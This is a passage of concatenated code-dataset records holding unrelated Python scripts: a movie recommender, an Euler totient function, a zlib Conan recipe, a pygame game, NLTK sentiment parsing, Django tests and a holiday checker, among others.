matrix_factorization(ratings_matrix.values, K=50, steps=200, learning_rate=0.01, r_lambda = 0.01)\npred_matrix = np.dot(P, Q.T)\n\n\n# In[12]:\n\n\nratings_pred_matrix = pd.DataFrame(data=pred_matrix, index= ratings_matrix.index,\n columns = ratings_matrix.columns)\n\nratings_pred_matrix.head(3)\n\n\n# In[13]:\n\n\ndef get_unseen_movies(ratings_matrix, userId):\n # userId로 입력받은 사용자의 모든 영화정보 추출하여 Series로 반환함. \n # 반환된 user_rating 은 영화명(title)을 index로 가지는 Series 객체임. \n user_rating = ratings_matrix.loc[userId,:]\n \n # user_rating이 0보다 크면 기존에 관람한 영화임. 대상 index를 추출하여 list 객체로 만듬\n already_seen = user_rating[ user_rating > 0].index.tolist()\n \n # 모든 영화명을 list 객체로 만듬. \n movies_list = ratings_matrix.columns.tolist()\n \n # list comprehension으로 already_seen에 해당하는 movie는 movies_list에서 제외함. \n unseen_list = [ movie for movie in movies_list if movie not in already_seen]\n \n return unseen_list\n\n\n# In[14]:\n\n\ndef recomm_movie_by_userid(pred_df, userId, unseen_list, top_n=10):\n # 예측 평점 DataFrame에서 사용자id index와 unseen_list로 들어온 영화명 컬럼을 추출하여\n # 가장 예측 평점이 높은 순으로 정렬함. \n recomm_movies = pred_df.loc[userId, unseen_list].sort_values(ascending=False)[:top_n]\n return recomm_movies\n\n\n# In[15]:\n\n\n# 사용자가 관람하지 않는 영화명 추출 \nunseen_list = get_unseen_movies(ratings_matrix, 9)\n\n# 잠재요인 기반 협업 필터링으로 영화 추천 \nrecomm_movies = recomm_movie_by_userid(ratings_pred_matrix, 9, unseen_list, top_n=10)\n\n# 평점 데이타를 DataFrame으로 생성. \nrecomm_movies = pd.DataFrame(data=recomm_movies.values,index=recomm_movies.index,columns=['pred_score'])\nrecomm_movies\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"python_code/ML_all_codes_per_chapters/9.3 잠재 요인 기반 협업 필터링 실습.py","file_name":"9.3 잠재 요인 기반 협업 필터링 실습.py","file_ext":"py","file_size_in_byte":6874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"150865587","text":"#!/usr/bin/python3\n\n\n\ndef euler_totient(n):\n \"\"\"\n\n Euler's Totient Function counts the positive integers up to\n a given integer n that are 'relatively' prime to n.\n\n Usually denoted with the greek symbol for phi.\n\n Example:\n euler_totient(10) == 4\n (1, 3, 7, 9) are less than 10,\n but have no common factors with 10\n\n Example:\n euler_totient(9) == 6\n (1, 2, 4, 5, 7, 8) are less than 10,\n but have no common factors with 9\n\n Example:\n euler_totient(5) == 4\n (1, 2, 3, 4) are less than 5 and since 5 is prime,\n all the numbers less than 5 are relatively prime to 5.\n\n \"\"\"\n\n # In the spirit of math,\n # r == resulting int,\n # n == is a positive int,\n # and p is a prime.\n\n r = n\n p = 2\n while p * p <= n:\n if n % p == 0:\n while n % p == 0:\n n /= p\n r *= (1.0 - (1.0 / float(p)))\n p += 1\n\n if n > 1:\n r *= (1.0 - (1.0 / float(n)))\n return int(r)\n","sub_path":"Math/euler_totient.py","file_name":"euler_totient.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"66176659","text":"from conans import ConanFile, CMake, tools\nimport os\n\nclass ZlibConan(ConanFile):\n name = \"zlib\"\n version = \"1.2.11\"\n author = \"Ralph-Gordon Paul (g.paul@appcom-interactive.de)\"\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n options = {\"shared\": [True, False], \"android_ndk\": \"ANY\", \"android_stl_type\":[\"c++_static\", \"c++_shared\"]}\n default_options = \"shared=False\", \"android_ndk=None\", \"android_stl_type=c++_static\"\n description = \"Compressing File-I/O Library\"\n url = \"https://github.com/appcom-interactive/conan-zlib-scripts\"\n license = \"Zlib\"\n exports_sources = \"cmake-modules/*\"\n\n # download zlib sources\n def source(self):\n url = \"https://zlib.net/zlib%s.zip\" % self.version.replace(\".\",\"\")\n tools.get(url)\n\n # compile using cmake\n def build(self):\n cmake = CMake(self)\n zlib_folder = \"%s/zlib-%s\" % (self.source_folder, self.version)\n cmake.verbose = True\n\n if self.settings.os == \"Android\":\n cmake.definitions[\"CMAKE_SYSTEM_VERSION\"] = self.settings.os.api_level\n cmake.definitions[\"CMAKE_ANDROID_NDK\"] = os.environ[\"ANDROID_NDK_PATH\"]\n cmake.definitions[\"CMAKE_ANDROID_NDK_TOOLCHAIN_VERSION\"] = self.settings.compiler\n cmake.definitions[\"CMAKE_ANDROID_STL_TYPE\"] = self.options.android_stl_type\n\n if self.settings.os == \"iOS\":\n ios_toolchain = \"cmake-modules/Toolchains/ios.toolchain.cmake\"\n cmake.definitions[\"CMAKE_TOOLCHAIN_FILE\"] = ios_toolchain\n if self.settings.arch == \"x86\" or self.settings.arch == \"x86_64\":\n cmake.definitions[\"IOS_PLATFORM\"] = \"SIMULATOR\"\n else:\n cmake.definitions[\"IOS_PLATFORM\"] = \"OS\"\n\n if self.settings.os == \"Macos\":\n cmake.definitions[\"CMAKE_OSX_ARCHITECTURES\"] = tools.to_apple_arch(self.settings.arch)\n\n cmake.configure(source_folder=zlib_folder)\n cmake.build()\n cmake.install()\n\n lib_dir = os.path.join(self.package_folder,\"lib\")\n\n if self.settings.os == \"Android\":\n # delete shared artifacts for static builds and the static library for shared builds\n if self.options.shared == False:\n os.remove('%s/lib/libz.so' % self.package_folder)\n else:\n os.remove('%s/lib/libz.a' % self.package_folder)\n\n if self.settings.os == \"iOS\":\n # delete shared artifacts for static builds and the static library for shared builds\n if self.options.shared == False:\n # delete dynamic library\n [os.remove(os.path.join(lib_dir,f)) for f in os.listdir(lib_dir) if f.endswith(\".dylib\")]\n static_lib = os.path.join(lib_dir,\"libz.a\")\n self.run(\"xcrun ranlib %s\" % static_lib)\n # thin the library (remove all other archs)\n self.run(\"lipo -extract %s %s -output %s\" % (tools.to_apple_arch(self.settings.arch), static_lib, static_lib))\n else:\n # delete static library\n os.remove('%s/lib/libz.a' % self.package_folder)\n # thin the library (remove all other archs)\n for f in os.listdir(lib_dir):\n if f.endswith(\".dylib\") and os.path.isfile(os.path.join(lib_dir,f)) and not os.path.islink(os.path.join(lib_dir,f)):\n self.run(\"lipo -extract %s %s -output %s\" % (tools.to_apple_arch(self.settings.arch), os.path.join(lib_dir,f), os.path.join(lib_dir,f)))\n\n if self.settings.os == \"Linux\":\n # delete shared artifacts for static builds and the static library for shared builds\n if self.options.shared == False:\n for f in os.listdir(lib_dir):\n if f.startswith(\"libz.so\"): \n os.remove(os.path.join(lib_dir,f))\n else:\n os.remove('%s/lib/libz.a' % self.package_folder)\n\n if self.settings.os == \"Macos\":\n # delete shared artifacts for static builds and the static library for shared builds\n if self.options.shared == False:\n [os.remove(os.path.join(lib_dir,f)) for f in os.listdir(lib_dir) if f.endswith(\".dylib\")]\n else:\n os.remove('%s/lib/libz.a' % self.package_folder)\n\n if self.settings.os == \"Windows\":\n libname = \"zlib\"\n static_libname = \"zlibstatic\"\n if self.settings.build_type == \"Debug\":\n libname = \"zlibd\"\n static_libname = \"zlibstaticd\"\n\n # delete shared artifacts for static builds and the static library for shared builds\n if self.options.shared == False:\n os.remove('%s/bin/%s.dll' % (self.package_folder, libname))\n os.remove('%s/lib/%s.lib' % (self.package_folder, libname))\n os.rename('%s/lib/%s.lib' % (self.package_folder, static_libname), '%s/lib/%s.lib' % (self.package_folder, libname))\n else:\n os.remove('%s/lib/%s.lib' % (self.package_folder, static_libname))\n\n def package(self):\n self.copy(\"*\", dst=\"include\", src='include')\n self.copy(\"*.lib\", dst=\"lib\", src='lib', keep_path=False)\n self.copy(\"*.dll\", dst=\"bin\", src='bin', keep_path=False)\n self.copy(\"*.so\", dst=\"lib\", src='lib', keep_path=False)\n self.copy(\"*.dylib\", dst=\"lib\", src='lib', keep_path=False)\n self.copy(\"*.a\", dst=\"lib\", src='lib', keep_path=False)\n \n def package_info(self):\n self.cpp_info.libs = tools.collect_libs(self)\n self.cpp_info.includedirs = ['include']\n\n def config_options(self):\n # remove android specific option for all other platforms\n if self.settings.os != \"Android\":\n del self.options.android_ndk\n del self.options.android_stl_type\n","sub_path":"conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":5872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"187223944","text":"# start5.py\n# Timur Jaganov \n# Coding Exercise 5\n# Section 5, lecture 47\n\ndef c2f(c):\n c = float(c)\n if (c < -273.15):\n return False\n else:\n return c*9/5 + 32\n\ntemps = [10, -20, -289, 100]\nwith open(\"files/exercise5.txt\", \"w\") as fileHandle: \n for temp in temps:\n f = c2f(temp)\n if (f != False):\n print(f)\n fileHandle.write(str(f)+\"\\n\")\n else:\n print(\"It's not make sense\")\n","sub_path":"section05/start5.py","file_name":"start5.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"224202547","text":"\"\"\" Creating a alien invasion game using pygame \"\"\"\r\n\r\n\r\n\r\n\r\nimport pygame\r\n\r\nfrom settings import Settings \r\nfrom ship import Ship\r\nfrom game_stats import GameStats\r\nfrom button import Button\r\nfrom scoreboard import ScoreBoard\r\nfrom pygame.sprite import Group\r\nimport game_functions as gf\r\n\r\n\r\n\"\"\" Initializing the screen first \"\"\"\r\ndef run_game():\r\n\t\"\"\" Initializing the pygame \"\"\"\r\n\tpygame.init()\r\n\t\r\n\t\"\"\" Screen \"\"\"\r\n\tai_settings = Settings() # from class settings\r\n\tscreen = pygame.display.set_mode(\r\n\t (ai_settings.screen_width , ai_settings.screen_height))\r\n\t \r\n\tpygame.display.set_caption(\"Alien Invasion\")\r\n\t\r\n\t\"\"\" Play Button \"\"\"\r\n\tplay_button = Button(ai_settings , screen , \"Play\")\r\n\t\r\n\t\"\"\" Create instance of gamestats and create scoreboard \"\"\"\r\n\tstats = GameStats(ai_settings)\r\n\tsb = ScoreBoard(ai_settings , screen , stats)\r\n\t\r\n\t\"\"\" Make a ship , a group of bullets , a group of aliens \"\"\"\r\n\tship = Ship(ai_settings , screen)\r\n\tbullets = Group()\r\n\taliens = Group()\r\n\t\r\n\t# Create a fleet of aliens \r\n\tgf.create_fleet(ai_settings , screen , ship , aliens)\r\n\t\r\n\t# Starting the main loop of the game \r\n\twhile True:\r\n\t\t\r\n\t\t#Watch for mouse and keyboard events \r\n\t\tgf.check_events(ai_settings , screen ,stats , sb , play_button ,\r\n\t\t ship , aliens , bullets)\r\n\t\t \r\n\t\t\r\n\t\tif stats.game_active:\r\n\t\t\tship.update()\r\n\t\t\tgf.update_bullets(ai_settings , screen ,stats , sb , ship ,aliens , bullets)\r\n\t\t\tgf.update_aliens(ai_settings , screen , stats ,sb ,ship , aliens , bullets)\r\n\t\t\t\r\n\t\t\"\"\" Upgrading the screen \"\"\"\r\n\t\tgf.upgrade_screen(ai_settings , screen , stats , sb , ship , aliens , bullets,\r\n\t\t play_button)\r\n\t\t \r\n\r\nrun_game()\r\n\r\n","sub_path":"alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"97468452","text":"import os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\nimport argparse\nimport datetime\nimport scipy.special as scis\nimport scipy.optimize as scio\n\nnow = datetime.datetime.now()\n\nparser=argparse.ArgumentParser()\nparser.add_argument('-sd','--sd',default=now.day)\nparser.add_argument('-sm','--sm',default=now.month)\nparser.add_argument('-sy','--sy',default=now.year)\nparser.add_argument('-shour','--shour',default=now.hour)\nparser.add_argument('-smin','--smin',default=now.minute)\nparser.add_argument('-cd','--cd',default=now.day)\nparser.add_argument('-cm','--cm',default=now.month)\nparser.add_argument('-cy','--cy',default=now.year)\nparser.add_argument('-chour','--chour',default=now.hour)\nparser.add_argument('-cmin','--cmin',default=now.minute)\nargs = parser.parse_args()\n\nsday = int(args.sd)\nsmonth = int(args.sm)\nsyear = int(args.sy)\nshour = int(args.shour)\nsminute = int(args.smin)\n\ncday = int(args.cd)\ncmonth = int(args.cm)\ncyear = int(args.cy)\nchour = int(args.chour)\ncminute = int(args.cmin)\n\nstochDataPath = 'Sim_{0}_{1}_{2}_{3}_{4}'.format(sday,smonth,syear,shour,sminute)\nContDataPath = 'Sim_{0}_{1}_{2}_{3}_{4}'.format(cday,cmonth,cyear,chour,cminute)\n\nabsPath = os.getcwd()\n\nos.chdir('StochasticData')\nos.chdir(stochDataPath)\n\ndensity = np.zeros_like(np.load('DENS_0.npy'))\nStochDirectories = os.listdir(os.getcwd())\nStochSimInfo = np.loadtxt('SIMINFO')\nTotTimes = np.load('TotTimes.npy')\nSliceTimes = np.load('SliceTimes.npy')\nwidth,tmax,tubuleSims,arate,am,koff,kon = StochSimInfo\n\n\nos.chdir(absPath)\nos.chdir('ContinuousData')\nos.chdir(ContDataPath)\n\nContDirectories = os.listdir(os.getcwd())\nContSimInfo = np.loadtxt('siminfo')\ndx,width,kon,koff,dt,arate,tmax = ContSimInfo\n\n\n\nmt=np.arange(0,width)/width\nx = mt*width*dx\nD0 = 2.7e5\np0 = 1.0\n\nacetylation = np.zeros_like(density)\nNTot = np.zeros(np.size(TotTimes))\nATot = np.zeros_like(NTot)\n\nContDensity = np.zeros_like(np.load('DENS.npy'))\nContAcetylation = np.zeros_like(ContDensity)\nContNTot = np.zeros_like(NTot)\nContATot = np.zeros_like(ATot)\n\ndensityArray = []\nacetylationArray = []\nNTotArray = []\nATotArray = []\n\nflux = np.zeros(2)\n\nfor directory in ContDirectories: ##Loading in Continuous Data\n if '.npy' in directory:\n temp = np.load(directory)\n\n if 'DENS' in directory:\n ContDensity += temp\n\n elif 'ACETYL' in directory:\n ContAcetylation += temp\n\n elif 'NTOT' in directory:\n ContNTot += temp\n\n elif 'ATOT' in directory:\n ContATot += temp\nos.chdir(absPath)\nos.chdir('StochasticData')\nos.chdir(stochDataPath)\nfor directory in StochDirectories: ##Loading in Stochastic Data\n if '.npy' in directory:\n temp = np.load(directory)\n\n if 'DENS' in directory:\n density += temp\n densityArray.append(temp)\n\n elif 'ACETYL' in directory:\n acetylation += temp\n acetylationArray.append(temp)\n\n elif 'NTOT' in directory: \n NTot += temp\n NTotArray.append(temp)\n\n elif 'ATOT' in directory:\n ATot += temp\n ATotArray.append(temp)\n elif 'FLUX' in directory:\n flux += temp\ndensity2 = density / tubuleSims\nacetylation2 = acetylation / tubuleSims \nNTot /= tubuleSims\nATot /= tubuleSims\nflux /= tubuleSims\n\nos.chdir(absPath)\n\nprint('Average Inward Flux: %d , Average Outward Flux: %d'%(flux[0],flux[1]))\n\n# Min and Max Error Bars Loops\n\ndef aAnalytic(t):\n global p0,arate,D0,x\n z = x/np.sqrt(4*D0*t)\n afit = 1 - np.exp(-p0*arate*t*( ((1+2*z*z)*scis.erfc(z)) - ((2*z*np.exp(-(z*z)))/np.sqrt(np.pi)) ) )\n return afit\n\ndef pAnalytic(t):\n z = x/np.sqrt(4*D0*t)\n pfit = scis.erfc(z) * p0\n return pfit\n\nfor i, value in enumerate(SliceTimes):\n \n plt.figure(1)\n plt.plot(mt,density2[i],label=('Stochastic Model t = %.2f s'%(value)))\n plt.plot(mt,ContDensity[i],ls='dashed',label=('Continuous Model t= %.2f s'%(value)))\n plt.figure(2)\n plt.plot(mt,acetylation2[i]/am,label=('Stochastic Model t = %.2f s'%(value)))\n plt.plot(mt,ContAcetylation[i],ls='dashed',label=('Continuous Model t = %.2f s'%(value)))\n\nplt.figure(3)\n\nNtotAnalytic = p0*np.sqrt(4*D0/(dx*dx)*TotTimes/np.pi)\n\n\nplt.figure(1)\nplt.xlabel('x/L')\nplt.ylabel('Density')\nplt.legend()\n\nplt.figure(2)\nplt.xlabel('x/L')\nplt.ylabel('Acetylation')\nplt.legend()\n\nplt.figure(3)\nax = plt.gca()\nplt.plot(TotTimes,NTot,label='Stochastic Model')\nplt.plot(TotTimes,ContNTot,ls='dashed',label='Continuous Model')\nax.set_xscale('log')\nax.set_yscale('log')\nplt.xlabel('t (s)')\nplt.ylabel('Total Enzymes in Tubule')\nplt.legend()\n\nATotFit = []\nfor t in TotTimes:\n ATotFit.append(sum(aAnalytic(t)))\n\nplt.figure(4)\nax = plt.gca()\nplt.plot(TotTimes,ATot,label='Stochastic Model')\nplt.plot(TotTimes,ContATot,ls='dashed',label='Continuous Model')\nax.set_xscale('log')\nax.set_yscale('log')\nplt.xlabel('t (s)')\nplt.ylabel('Total Acetylated Sites')\nplt.legend()\n\nplt.show()\n","sub_path":"ContStochPlotter.py","file_name":"ContStochPlotter.py","file_ext":"py","file_size_in_byte":5077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"529757125","text":"import urllib.request\nimport vobject\nimport datetime\n\nholidays = {}\n\ndef initHolidays(yy: int):\n\n if str(yy) not in holidays:\n holidays[str(yy)] = []\n url = \"https://giorni-festivi.eu/ical/italia/\"+str(yy)+\"/\"\n\n try:\n response = urllib.request.urlopen(url)\n cal = vobject.readOne((response.read()).decode(\"utf-8\"))\n for ev in cal.vevent_list:\n holidays[str(yy)].append(datetime.datetime(ev.dtstart.value.year, ev.dtstart.value.month, ev.dtstart.value.day))\n except:\n print(\"Error in initialization days\")\n\n\n# Specificare il giorno, mese ed anno in formato numerico\n# return true if is holyday, false otherwise\ndef isHoliday(dd: int, mm: int, yy: int, weekendDays=[5,6]):\n\n if 1 <= int(dd) <= 31 and 1 <= int(mm) <= 12 and 1960 <= int(yy) <= 2100: # params check\n initHolidays(yy)\n\n dayToCheck = datetime.datetime(int(yy), int(mm), int(dd))\n\n if dayToCheck in holidays[str(yy)] or dayToCheck.weekday() in weekendDays:\n print(\"holiday\")\n else:\n print(\"Work\")\n else:\n print(\"Error input parameter: \"+str(dd)+\"-\"+str(mm)+\"-\"+str(yy))\n\n# Test\nisHoliday(\"01\", \"01\", \"22034\", [5,6])\nisHoliday(2, 1, \"2020\")\nisHoliday(\"02\", \"01\", \"2020\")\nisHoliday(\"01\", \"01\", \"2020\")\n\nisHoliday(\"1\", \"02\", \"2020\")\nisHoliday(\"2\", \"02\", \"2020\")\nisHoliday(\"3\", \"02\", \"2018\")\nisHoliday(\"04\", \"02\", \"2020\", [0,1,2,3,4,5,6])\n","sub_path":"isHoliday.py","file_name":"isHoliday.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"473110292","text":"# -*- coding: UTF-8 -*-\n\"\"\"\ntitle: 连接两字母单词得到的最长回文串\nYou are given an array of strings words. Each element of words consists of two lowercase English letters.\nCreate the longest possible palindrome by selecting some elements from words and concatenating them in any order. Each element can be selected at most once.\nReturn the length of the longest palindrome that you can create. If it is impossible to create any palindrome, return 0.\nA palindrome is a string that reads the same forward and backward.\n\n\nExample 1:\nInput: words = [\"lc\",\"cl\",\"gg\"]\nOutput: 6\nExplanation: One longest palindrome is \"lc\" + \"gg\" + \"cl\" = \"lcggcl\", of length 6.\nNote that \"clgglc\" is another longest palindrome that can be created.\n\nExample 2:\nInput: words = [\"ab\",\"ty\",\"yt\",\"lc\",\"cl\",\"ab\"]\nOutput: 8\nExplanation: One longest palindrome is \"ty\" + \"lc\" + \"cl\" + \"yt\" = \"tylcclyt\", of length 8.\nNote that \"lcyttycl\" is another longest palindrome that can be created.\n\nExample 3:\nInput: words = [\"cc\",\"ll\",\"xx\"]\nOutput: 2\nExplanation: One longest palindrome is \"cc\", of length 2.\nNote that \"ll\" is another longest palindrome that can be created, and so is \"xx\".\n\n\nConstraints:\n1 <= words.length <= 10^5\nwords[i].length == 2\nwords[i] consists of lowercase English letters.\n\"\"\"\nfrom collections import Counter\nfrom typing import List\n\n\nclass Solution:\n def longestPalindrome(self, words: List[str]) -> int:\n \"\"\"贪心 + 哈希表\"\"\"\n word2cnt = Counter(words)\n res = 0\n add_center = False\n for word, cnt in word2cnt.items():\n # 叠词\n if word[0] == word[1]:\n # 因为每个word的长度均为2,所以最后需要乘以2\n res += (cnt // 2 * 2) * 2\n # 可以从奇数个的叠词中任选一个作为回文中心\n if not add_center and cnt & 1:\n res += 2\n add_center = True\n # 存在对称的非叠词\n elif word[1] + word[0] in word2cnt:\n # 之后遍历遇到word[1] + word[0]时,会再加一次。假设word都放在左侧,而word[1] + word[0]都放在右侧\n res += min(cnt, word2cnt[word[1] + word[0]]) * 2\n return res\n\n\nif __name__ == '__main__':\n print(Solution().longestPalindrome(words=[\"lc\", \"cl\", \"gg\"]))\n","sub_path":"All_Solutions/a2131_longest-palindrome-by-concatenating-two-letter-words.py","file_name":"a2131_longest-palindrome-by-concatenating-two-letter-words.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"336992405","text":"from django.test import TestCase\nfrom working_waterfronts.working_waterfronts_api.models import Hazard\nfrom django.contrib.gis.db import models\n\n\nclass HazardTestCase(TestCase):\n\n def setUp(self):\n self.expected_fields = {\n 'name': models.TextField,\n 'description': models.TextField,\n 'created': models.DateTimeField,\n 'modified': models.DateTimeField,\n 'pointofinterests': models.ManyToManyField,\n 'pointofinterest': models.related.RelatedObject,\n 'id': models.AutoField\n }\n\n def test_fields_exist(self):\n model = Hazard\n for field, field_type in self.expected_fields.items():\n self.assertEqual(\n field_type, type(model._meta.get_field_by_name(field)[0]))\n\n def test_no_additional_fields(self):\n fields = Hazard._meta.get_all_field_names()\n self.assertEqual(sorted(fields), sorted(self.expected_fields.keys()))\n\n def test_created_modified_fields(self):\n self.assertTrue(Hazard._meta.get_field('modified').auto_now)\n self.assertTrue(Hazard._meta.get_field('created').auto_now_add)\n\n def test___unicode___method(self):\n assert hasattr(Hazard, '__unicode__'), \"No __unicode__ method found\"\n","sub_path":"working_waterfronts/working_waterfronts_api/tests/models/test_hazard_model.py","file_name":"test_hazard_model.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"528528109","text":"from django.conf.urls import patterns, include, url\n\nurlpatterns = patterns('',\n url(r'^$', 'blog.views.home', name='home'), \n url(r'^articles/$', 'blog.views.articles'),\n url(r'^get/(?P\\d+)/$', 'blog.views.article'), \n url(r'^create/$', 'blog.views.create'),\n url(r'^edit/(?P\\d+)/$', 'blog.views.edit'), \n)\n\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"281662376","text":"import numpy as np\nimport pandas as pd\nimport keras\nimport tensorflow as tf\n\nspotify = pd.read_csv('C:\\\\Users\\\\cody1\\\\Downloads\\\\py tut\\\\rankers\\\\tracks_features.csv', engine='python', encoding='latin-1')\n#building a smaller dataframe that is smaller and easier to work with for ranking\nspotify_campare = spotify[['name','artists']]\n\nspotify_slim = pd.read_csv('C:\\\\Users\\\\cody1\\\\Downloads\\\\py tut\\\\rankers\\\\spotslim.csv', engine='python', encoding='latin-1')\nspotify_slim.set_index('name', inplace=True)\n\n#whereimat= spotify_slim[spotify_slim['rank']>0]\ncodysrank = spotify_slim.iloc[:,2:]\n#codysrank.to_csv('C:\\\\Users\\\\cody1\\\\Downloads\\\\py tut\\\\rankers\\\\codysrank.csv')\ncodysrankSM = codysrank[codysrank['rank']>0]\n\nranked = codysrankSM.iloc[:,-2:]\nSPfeatures = codysrankSM.iloc[:,:-1]\nranked = np.array(ranked)\nSPfeatures = np.array(SPfeatures)\n'''\nranked[ranked <=3 ] = 0\nranked[ranked > 3] = 1\n'''\n\n\n\n'''\nfor i in ranked:\n if i > 3 :\n ranked[i] = 1.0\n else:\n ranked[i] = 0.0\n ''' \n \nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.preprocessing import OneHotEncoder\n\nct = ColumnTransformer(transformers= [('encoder', OneHotEncoder(),[1])], remainder='passthrough')\nranked = ct.fit_transform(ranked)\n\nranked= pd.DataFrame(ranked)\nranked= ranked.iloc[:,:-1]\nranked = np.array(ranked)\n\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, y_train, y_test = train_test_split(SPfeatures, ranked, test_size = 0.2)\n\nfrom sklearn.preprocessing import MinMaxScaler\nsc = MinMaxScaler(feature_range = (0, 1))\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\n\nann = tf.keras.models.Sequential()\n\nann.add(tf.keras.layers.Dense(units=9, activation='relu'))\nann.add(tf.keras.layers.Dropout(0.2))\nann.add(tf.keras.layers.Dense(units=20, activation='relu'))\nann.add(tf.keras.layers.Dropout(0.2))\nann.add(tf.keras.layers.Dense(units=9, activation='relu'))\n#ann.add(tf.keras.layers.Dropout(0.2))\nann.add(tf.keras.layers.Dense(units=5, activation='softmax'))\n#try linear \n\nann.compile(optimizer='adam' , loss= 'categorical_crossentropy', validation_data=(X_train,y_train),metric= 'accuracy')\n\nann.fit(X_train, y_train, batch_size=16, epochs = 1000)\n\n\ncodysrank = codysrank.iloc[:,:-1]\ncodysrank = np.array(codysrank)\n#must be 2d array\ntestedpred= ann.predict(sc.transform(X_test))\n\ntestedpred= pd.DataFrame(testedpred)\n\nresults= testedpred.iloc[:,-1]\n\ncodys = pd.concat([spotify_campare,results],axis=1)\n\ncodyslim= codys[codys.iloc[:,-1]>0.980]\n","sub_path":"spot ann version.py","file_name":"spot ann version.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"165143546","text":"import nltk\r\nfrom nltk.util import ngrams\r\nimport re\r\nfrom nltk.tokenize import sent_tokenize\r\nfrom nltk import load\r\n\r\ndef processSentence(sentences,posLex,negLex,tagger):\r\n wordnoun=[]\r\n posneg= posLex | negLex\r\n for sent in sentences:\r\n sent=re.sub('[^a-zA-Z\\d]',' ',sent)#replace chars that are not letters or numbers with a spac\r\n sent=re.sub(' +',' ',sent).strip()#remove duplicate spaces\r\n #tokenize the sentence\r\n terms = nltk.word_tokenize(sent.lower()) \r\n POStags=['NN'] # POS tags of interest \t\t\r\n POSterms=getPOSterms(terms,POStags,tagger)\r\n nouns=POSterms['NN']\r\n firstword='not'\r\n #anyword=text\r\n wordnoun+=getnounfourgrams(firstword,posneg,terms, nouns)\r\n return wordnoun\r\n \r\n \r\ndef getnounfourgrams(firstword,posneg,terms, nouns):\r\n result=[]\r\n fourgrams = ngrams(terms,4) #compute 2-grams\r\n for pn in fourgrams:\r\n if pn[0]=='not' and pn[2] in posneg and pn[3] in nouns: \r\n result.append(pn) \r\n return result\r\n \r\ndef getPOSterms(terms,POStags,tagger):\r\n tagged_terms=tagger.tag(terms)#do POS tagging on the tokenized sentence\r\n POSterms={}\r\n for tag in POStags:POSterms[tag]=set()\r\n #for each tagged term\r\n for pair in tagged_terms:\r\n for tag in POStags: # for each POS tag \r\n if pair[1].startswith(tag): POSterms[tag].add(pair[0])\r\n return POSterms\r\n\r\n \r\ndef loadLexicon(fname):\r\n newLex=set()\r\n lex_conn=open(fname)\r\n #add every word in the file to the set\r\n for line in lex_conn:\r\n newLex.add(line.strip())# remember to strip to remove the lin-change character\r\n lex_conn.close()\r\n return newLex \r\n \r\n\r\ndef run(fpath):\r\n _POS_TAGGER = 'taggers/maxent_treebank_pos_tagger/english.pickle'\r\n tagger = load(_POS_TAGGER)\r\n f=open(fpath)\r\n text=f.read().strip() \r\n f.close()\r\n sentence=sent_tokenize(text)\r\n print ('NUMBER OF SENTENCES: ',len(sentence))\r\n posLex=loadLexicon('positive-words.txt')\r\n negLex=loadLexicon('negative-words.txt')\r\n fourword=processSentence(sentence,posLex,negLex,tagger)\r\n return fourword\r\n \r\ndef getTop3(D): \r\n diclist=sorted(D, key=D.get, reverse=True)[:3]\r\n return(diclist)\r\n \r\nif __name__=='__main__':\r\n print (run('input.txt'))\r\n D = {'a':1, 'b':50, 'c': 359,'d':11,'e':5, 'f':580}\r\n diclist=getTop3(D)\r\n print (diclist)","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"360036204","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 6 20:43:30 2019\n\n@author: Sofonias Alemu\n\"\"\"\nimport numpy as np\nfrom scipy.optimize import root as eqsolver\nfrom scipy import interpolate\n\nbeta=.9\nnbk,nba=50,100\ncrit,epsi=1,1e-8\n\n### State space\n\nKmin=.1\nKmax=6\nKgrid=np.linspace(Kmin,Kmax,nbk)\n\ndef PL(x,Kgrid,Kp):\n t= interpolate.interp1d(Kgrid,Kp,fill_value=\"extrapolate\")\n #t= interpolate.interp1d(Kgrid,Kp,kind=\"cubic\",fill_value=\"extrapolate\")\n #z= np.polyfit(Kgrid, Kp, 5)\n #t = np.poly1d(z)\n return t(x)\n\nf= lambda x,a: (1-a)*(.9*np.power(x,.3)+.3*x)+a*(1.1*np.power(x,.3)+.9*x)\nf_p=lambda x,a: (1-a)*(.9*.3*np.power(x,-.7)+.3)+a*(1.1*.3*np.power(x,-.7)+.9)\n\nu_p= lambda y: 1./y \n\n#u_p= lambda y: 4*np.power(y,-5)\n\ndef g(f,f_p,u_p,PL,Kgrid,Kp,x,j,l):\n expect_1=f_p(x,0)*u_p(f(x,0)-PL(x,Kgrid,Kp[:,0]))\n 